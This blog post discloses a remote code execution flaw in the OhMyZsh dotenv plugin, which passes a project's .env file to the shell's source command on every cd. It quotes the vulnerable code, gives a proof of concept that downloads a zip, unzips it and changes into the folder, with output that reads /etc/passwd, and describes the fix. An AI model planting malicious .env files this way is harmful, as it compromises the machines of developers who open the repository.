OhMyZsh dotenv Remote Code Execution

- 4 mins

Abstract

OhMyZsh was vulnerable to an RCE (Remote Code Execution) vulnerability due to arbitrary trusting ENV files at the dotenv plugin. Users who download a malicious repository or a compressed file can have their machines compromised as a result of the vulnerability.


Background

OhMyZsh is a highly popular framework for managing ZSH configuration. It’s an extremely popular project in the open-source community. At the time of writing, it’s ranked in the top 10 Github repositories across all projects.

I enjoy automating my setup with different configurations to be more productive at work. OhMyZsh helps me automating tasks along with my scripts and dot-files.

I wanted to automate a specific scenario in my development environment, where I have multiple projects at the same machine, and each project has specific environment variables that need to be loaded before starting development. There is a popular plugin at OhMyZsh that supports this functionality, known as the dotenv plugin.

According to the documentation:

[OhMyZsh - dotenv plugin] automatically load your project ENV variables from .env file when you cd into project root directory.

Dotenv plugin loads environment variables when the user enters the project directory. It was made public in 2016, and the vulnerability has existed in the plugin for the past 3 years.

I wanted to review the source-code before running it on my dev machine.


Vulnerable Code

Commit: https://github.com/ohmyzsh/ohmyzsh/commit/f960e2be6f01abe5f185d668be661b57051322ac


source_env() {
  if [[ -f $ZSH_DOTENV_FILE ]]; then
    # test .env syntax
    zsh -fn $ZSH_DOTENV_FILE || echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2

    if [[ -o a ]]; then
      source $ZSH_DOTENV_FILE
    else
      set -a
      source $ZSH_DOTENV_FILE
      set +a
    fi
  fi
}

autoload -U add-zsh-hook
add-zsh-hook chpwd source_env

if [[ -z $ZSH_DOTENV_FILE ]]; then
    ZSH_DOTENV_FILE=.env
fi

The method used in the dotenv plugin to set the environment variables makes use of the source built-in command.

Although the command is typically seen when loading environment variables, source executes the provided input in Shell - (within the same existing shell, that’s why the variables are loaded within the session).

In our case, whenever a user cd into a project directory, and that directory has a .env file, the file is passed to source, to load the variables - and potentially more.

If the user downloads a malicious repository or compressed file, then working with this material leads to a remote code execution when using OhMyZsh.


Proof of Concept

$ wget -q "https://github.com/mazen160/public/raw/master/Proof-of-Concepts/ohmyzsh-dotenv-rce/dotenv-poc.zip"
$ unzip dotenv-poc.zip
$ cd dotenv-poc
uid=0(root) gid=0(root) groups=0(root)
root:x:0:0:root:/root:/usr/bin/zsh

Video


Fix

I made a PR to fix the vulnerability at ohmyzsh - PR #8606. The simple fix to the issue is to prompt the user to confirm the issuance of the source command to the .env file. It was enhanced and pushed to OhMyZsh master branch now. The update introduces an option for TOFU (Trust on First Use) where trusted paths can be set it be whitelisted. Users can make sure they’re using an updated version to protect against the vulnerability when using the dotenv plugin.


Final Thoughts

It was an interesting session that occurred by coincidence when working on setting up a development environment. The outcome of the session resulted in finding a vulnerability in the ohmyzsh project.


PR: https://github.com/ohmyzsh/ohmyzsh/pull/8606


References

  1. First Release commit (2016): https://github.com/ohmyzsh/ohmyzsh/commit/8d35fa0e2f32dab6894ca06bfc333af94be97ec7
  2. https://ss64.com/bash/source.html
Mazin Ahmed

Mazin Ahmed

Thoughts of a hacker

rss facebook twitter github gitlab youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora